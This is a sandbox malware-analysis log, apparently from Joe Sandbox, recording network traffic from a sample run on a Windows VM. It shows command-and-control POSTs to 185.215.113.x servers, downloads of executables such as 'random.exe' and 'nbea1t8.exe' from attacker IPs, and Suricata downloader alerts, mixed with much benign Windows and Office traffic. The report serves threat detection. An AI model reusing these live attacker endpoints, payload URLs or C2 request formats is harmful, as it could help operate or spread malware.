Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="message"ybncbhylepme------BFBGHDGCFHIDBGDGIIIE--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCFBGDHJKFIEBFIECGHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 2d 2d 0d 0a Data Ascii: ------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGCFBGDHJKFIEBFIECGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/6180536652/nbea1t8.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49804 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49887 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49922 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 34_2_001DBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

34_2_001DBE30

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141650Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a982cbd5ae0743dcb416e3702bbbee90&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605278&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605278&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: SMaDBIrPOEmd7Ded.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141650Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a9d031c9e76b4eb4974702902b6a376f&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605278&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605278&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: SMaDBIrPOEmd7Ded.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141708Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=89b081b45c614ee3bd669fd4470c3877&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605279&metered=false&nettype=ethernet&npid=sc-280815&oemName=vgnaih%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=vgnaih20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605279&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: GBEUpv7Tm0SUjXTm.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141708Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=68c4ec1374684e91a583b5eed7b03ab7&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605279&metered=false&nettype=ethernet&npid=sc-338388&oemName=vgnaih%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=vgnaih20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605279&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: GBEUpv7Tm0SUjXTm.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141708Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a1c58906ac0f45468772b344d5b49d1d&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605279&metered=false&nettype=ethernet&npid=sc-338387&oemName=vgnaih%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=vgnaih20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605279&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: GBEUpv7Tm0SUjXTm.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=klwzB+LF78y8vvw&MD=F1fwkkPx HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
